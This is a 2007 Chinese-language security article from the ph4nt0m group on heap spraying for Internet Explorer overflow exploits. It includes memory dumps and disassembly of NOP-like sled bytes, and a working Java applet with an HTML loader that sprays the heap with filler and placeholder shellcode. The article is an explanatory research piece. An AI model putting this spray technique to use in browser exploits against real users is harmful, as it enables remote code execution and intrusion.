Advanced Heap Spray Technique -- Heap Spray in Java

来源:岁月联盟 编辑:zhuzhu 时间:2007-04-24
Advanced Heap Spray Technique -- Heap Spray in Java author: axis
mail: axis@ph4nt0m.org

Date: 2007-03-06
From: http://www.ph4nt0m.org
      http://blog.ph4nt0m.org
      http://groups.google.com/group/ph4nt0m


    本来是想等幻影的luoluo整理一篇比较好的paper的,但是luoluo时间比较少,我就先写点tips,来抛砖引玉。

    我们知道,在ie相关的溢出中,因为heap spray技术的限制,在js中无法将heap spray的地址推到内存高位,从而会引起访问了多网页后,就无法正常触发溢出的问题。
    详情可以见我的文章《MS07-004通用溢出方法补完》http://my.opera.com/pstgroup/blog/ms07-004

    那么是不是heap spray技术真的就有这个限制呢?答案是否定的。其实当前的heap spray技术,还是很有潜力可以挖的,可以做出许多改进。

    一、传统的Heap Spray

    传统的Heap Spray是使用js分配内存。根据heap spray的思想,就是用同样的一个指令,去覆盖一片大内存地址,在每块分配到的内存最后,都付上我们的shellcode。
    对这个指令的要求是,相当于NOPS的作用。且该指令指向的地址,正好落在我们覆盖的这片大存在地址中。

    上面说的可能有些绕口,在实际exploit中,就是分配这样的一片内存区域,比如
0B2701B0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B2701C0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B2701D0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B2701E0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B2701F0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B270200  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B270210  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0B270220  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................

    这样,0x0c0c0c0c的地址的内容也是 0c0c0c0c
0C0C0C0C  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0C0C0C1C  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0C0C0C2C  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0C0C0C3C  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0C0C0C4C  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0C0C0C5C  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................

    而0c这个指令正好是双字节指令,且对寄存器影响最小,可以起到nops的作用
0C0C0C0C    0C 0C           OR AL,0C
0C0C0C0E    0C 0C           OR AL,0C
0C0C0C10    0C 0C           OR AL,0C
0C0C0C12    0C 0C           OR AL,0C
0C0C0C14    0C 0C           OR AL,0C
0C0C0C16    0C 0C           OR AL,0C

    所以如果我们把我们的eip指向了0x0c0c0c0c这个地址,就会一直在这片内存中执行下去,一直执行到我们的shellcode为止。


    二、因为0x0c0c0c0c这个地址在内存中并不高,js分配内存就会影响到这一段,所以如果ie之前访问了很多网页,特别是一些比较大的网页,就会影响到这段地址,从而导致我们heap spray失败。

        而在java中,我们则可以有效的避免这个问题,因为java分配内存的地址,本来就比js分配的地址要高。
        Heap Spray是一种思想,和用什么语言实现无关,所以我们可以选择java,也同样可以选择其他语言,比如flash。

        我们看如下的java代码

/*
* <applet code="myJavaHeap.class" width="0" height="0"></applet>
*/

import java.io.*;
import java.applet.*;
import java.awt.*;

public class myJavaHeap extends Applet {
    byte[] shellcode = new byte[]
    {
        (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90,
                (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90,
                (byte)0x90, (byte)0x90
    };

    public void paint(Graphics g) {
        int heapBlockSize = 0x5000000;
        int heapSlidSize = 0x100000;
        byte[] buffer = new byte[heapBlockSize];
        byte heapFilling = (byte)0x14;

        for (int i = 0; i < buffer.length; i ++) {
            buffer[i] = heapFilling;
        }

        for (int i = 1; i < 0x50; i ++) {
            for (int j = 0; j < shellcode.length; j ++) {
                buffer[i * heapSlidSize - shellcode.length - 0x1000 + j] = shellcode[j];
            }
        }
    }
}


        
        编译后构造如下html:

<html>

<applet code="myJavaHeap.class" width="100" height="100"></applet>
<script>alert("Heap Spray End!");</script>

</html>

        以上的代码分配内存的地址,基本上在0x10800000 -- 0x16000000 左右
        所以我们选用的指令只能是 0x11 -- 0x15之间选择。

        经过检查,发现 0x14 和0x15都是非常好的指令,0x14和0x0c一样,都是双字节指令

14141414  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  
14141424  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  
14141434  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  
14141444  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  
14141454  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  
14141464  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  
14141474  14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14  

        反汇编后:
14141414    14 14           ADC AL,14
14141416    14 14           ADC AL,14
14141418    14 14           ADC AL,14
1414141A    14 14           ADC AL,14
1414141C    14 14           ADC AL,14
1414141E    14 14           ADC AL,14
14141420    14 14           ADC AL,14
14141422    14 14           ADC AL,14
14141424    14 14           ADC AL,14

       可见选用0x14去实现heap spray是完全可行的,而且可以避免ie访问多网页的问题。

       选用0x15的情况如下:
14141414    15 15151515     ADC EAX,15151515
14141419    15 15151515     ADC EAX,15151515
1414141E    15 15151515     ADC EAX,15151515
14141423    15 15151515     ADC EAX,15151515
14141428    15 15151515     ADC EAX,15151515
1414142D    15 15151515     ADC EAX,15151515
14141432    15 15151515     ADC EAX,15151515
14141437    15 15151515     ADC EAX,15151515

       也是可以用的。
       我的测试环境是 JRE 1.5.0_11
       如果是不同的JRE版本,可能会导致分配内存的地址不同,比如之前的版本,可能会分配在0x21000000-0x27000000
       所以需要选用0x21 - 0x26之间的地址。 经过测试,可以实际选用的指令是 0x24、0x25等。


       三、优缺点分析
       使用java进行heap spray的优点是很明显的:分配内存速度快,占用内存小(比js分配的小多了),而且分配的内存地址是在内存中相对比较高的地址,避免了ie访问多网页导致溢出失败的问题。
       但同时缺点也同样明显:受到jre普及度的限制,不同jre版本可能分配的地址不同,从而影响通用性,等。

       四、总结
       本文的目的在于抛砖引玉,Heap Spray技术已经有不短的历史了,但是比较少见系统的总结paper,继续期待幻影luoluo的大作。


       五、参考文档
       Sun Microsystems Java GIF File Parsing Memory Corruption Vulnerability Prove Of Concept Exploit
           http://www.milw0rm.com/exploits/3168     by luoluo@ph4nt0m




题外话:幻影(www.ph4nt0m.org)最近一直被ddos,我们正在考虑更换服务器所在的机房。最近幻影开始主推邮件列表(http://groups.google.com/group/ph4nt0m)和blog(http://blog.ph4nt0m.org)。